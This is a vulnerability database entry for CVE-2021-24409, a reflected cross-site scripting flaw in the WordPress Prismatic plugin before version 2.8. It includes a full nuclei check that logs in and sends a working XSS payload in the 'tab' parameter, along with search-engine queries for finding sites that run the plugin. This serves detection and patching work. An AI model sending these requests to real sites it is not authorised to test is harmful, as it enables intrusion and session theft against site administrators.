Browse / CVEs / CVE-2021-24409
CVE-2021-24409· plugin-planet / prismatic· CWE-79
Prismatic < 2.8 - Cross-Site Scripting
mediumseverity
6.1CVSS score
1.7%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it
The plugin does not escape the 'tab' GET parameter before outputting it back in an attribute, leading to a reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator
Impact
Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or session hijacking.
Fix
Fixed in version 2.8
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/options-general.php?page=prismatic&tab=%22+style%3Danimation-name%3Arotation+onanimationend%3Dalert(document.domain)%2F%2F%22
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "Leave A Review?") and contains(body_2, "onanimationend=alert(document.domain)")Run it with nuclei: nuclei -id CVE-2021-24409 -u <target>
The full check
id: CVE-2021-24409
info:
name: Prismatic < 2.8 - Cross-Site Scripting
author: Harsh
severity: medium
description: |
The plugin does not escape the 'tab' GET parameter before outputting it back in an attribute, leading to a reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or session hijacking.
remediation: Fixed in version 2.8
reference:
- https://wpscan.com/vulnerability/ae3cd3ed-aecd-4d8c-8a2b-2936aaaef0cf
- https://nvd.nist.gov/vuln/detail/CVE-2021-24409
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24409
cwe-id: CWE-79
epss-score: 0.01722
epss-percentile: 0.77691
cpe: cpe:2.3:a:plugin-planet:prismatic:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: plugin-planet
product: prismatic
framework: wordpress
shodan-query: http.html:/wp-content/plugins/prismatic
fofa-query: body=/wp-content/plugins/prismatic
publicwww-query: "/wp-content/plugins/prismatic"
tags: cve2021,cve,wpscan,wordpress,wp,wp-plugin,xss,prismatic,authenticated,plugin-planet,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=prismatic&tab=%22+style%3Danimation-name%3Arotation+onanimationend%3Dalert(document.domain)%2F%2F%22 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- 'contains(body_2, "Leave A Review?")'
- 'contains(body_2, "onanimationend=alert(document.domain)")'
condition: andReferences
- https://wpscan.com/vulnerability/ae3cd3ed-aecd-4d8c-8a2b-2936aaaef0cf
- https://nvd.nist.gov/vuln/detail/CVE-2021-24409
Use this check only on systems you are authorised to test. Where the data comes from